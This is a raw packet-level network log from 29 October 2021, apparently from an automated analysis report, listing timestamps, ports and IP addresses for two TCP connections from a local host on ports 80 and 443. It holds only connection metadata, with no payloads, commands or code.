Oct 29, 2021 14:11:13.144417048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144455910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144494057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144520998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.144531965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144575119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144613028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144650936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144689083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144726038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144764900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144803047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144840956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144917011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144956112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.145499945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.145967960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146008968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146049023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146085024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146122932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146161079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146197081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146234989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146271944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146310091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146348953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146384001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146421909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146460056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146495104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146502972 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.146533012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146665096 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.146717072 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.146768093 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.146879911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146920919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146956921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.146995068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147032976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147070885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147109032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147145033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147182941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147221088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147258043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147294998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147332907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147368908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.147511959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.147574902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.148592949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148633957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148669958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148708105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148745060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148782015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148819923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148880959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148919106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148957968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.148997068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149033070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149070978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149110079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149144888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149183035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149220943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149260044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149298906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149334908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149372101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149410009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149446011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149487019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149524927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149527073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.149563074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149601936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.149637938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150171041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150211096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150247097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150285959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150321960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150360107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150398016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150434017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150470972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150509119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150525093 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.150679111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150719881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150758982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150795937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150832891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150872946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.150911093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151021004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151062012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151098967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151138067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151175022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151515961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.151901960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151942968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.151981115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152018070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152055979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152092934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152131081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152168036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152204037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152241945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152278900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152314901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152353048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152390003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152427912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152467012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152503014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.152586937 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.153527975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.154532909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.155538082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.169667006 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.169842958 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.169919014 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.169989109 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170001030 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170043945 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170105934 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170170069 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170232058 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170289040 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170289040 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170310020 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170352936 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170396090 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170402050 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170420885 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170511007 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170525074 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170541048 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170604944 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170620918 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170634031 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170713902 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170721054 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170733929 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170816898 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170820951 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170836926 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170909882 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.170922995 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.170979977 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171026945 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171039104 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171056032 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171129942 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171145916 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171212912 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171269894 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171272039 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171291113 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171361923 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171375036 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171423912 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171482086 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171483040 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171499014 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171562910 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171575069 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171622992 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171673059 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171725035 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171761990 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171778917 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171792984 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171828985 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171880960 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171888113 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171905041 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.171974897 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.171987057 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.172007084 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.172089100 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.172101021 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.172199011 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.188030958 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188138962 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188211918 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188282013 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188533068 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.188558102 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188577890 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.188992977 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.189057112 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.189075947 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.189261913 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.189274073 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.189347982 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.189367056 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.189430952 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.189450026 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206465006 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206559896 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206609964 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.206643105 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206660986 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.206669092 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206743956 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206751108 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.206765890 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206810951 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.206857920 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206923008 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.206932068 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206949949 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.206994057 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207012892 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207076073 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207091093 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207103014 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207129955 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207156897 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207221031 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207240105 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207263947 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207298994 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207315922 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207346916 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207359076 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207426071 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207433939 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207452059 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207503080 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207508087 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207520962 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207570076 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207608938 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207672119 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207688093 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207756042 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207772970 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207842112 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207851887 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207870007 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207918882 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207957983 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.207963943 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.207983017 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208030939 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208039045 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208058119 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208101034 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208132982 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208142042 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208158970 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208235025 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208304882 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208312035 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208331108 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208360910 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208395004 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208409071 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208421946 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208446980 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208806992 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208844900 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208883047 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.208904982 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.208930016 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.209177017 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209213018 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209245920 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.209258080 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209285975 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.209551096 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209588051 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209625006 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.209639072 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209656000 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.209963083 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.209997892 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210036993 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.210047960 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210072994 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.210339069 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210376978 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210410118 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.210423946 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210452080 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.210773945 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210824013 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210855007 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.210866928 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.210900068 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.211142063 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.211179018 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.211208105 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.211226940 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.211261988 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.212060928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212101936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212141037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212181091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212215900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212235928 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212256908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212306023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212336063 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212342024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212379932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212412119 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212416887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212455034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212487936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212493896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212531090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212572098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212593079 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212610006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212621927 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212646008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212683916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212697029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212719917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212758064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212765932 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.212800026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212836027 CEST	80	50094	193.56.146.214	192.168.2.3
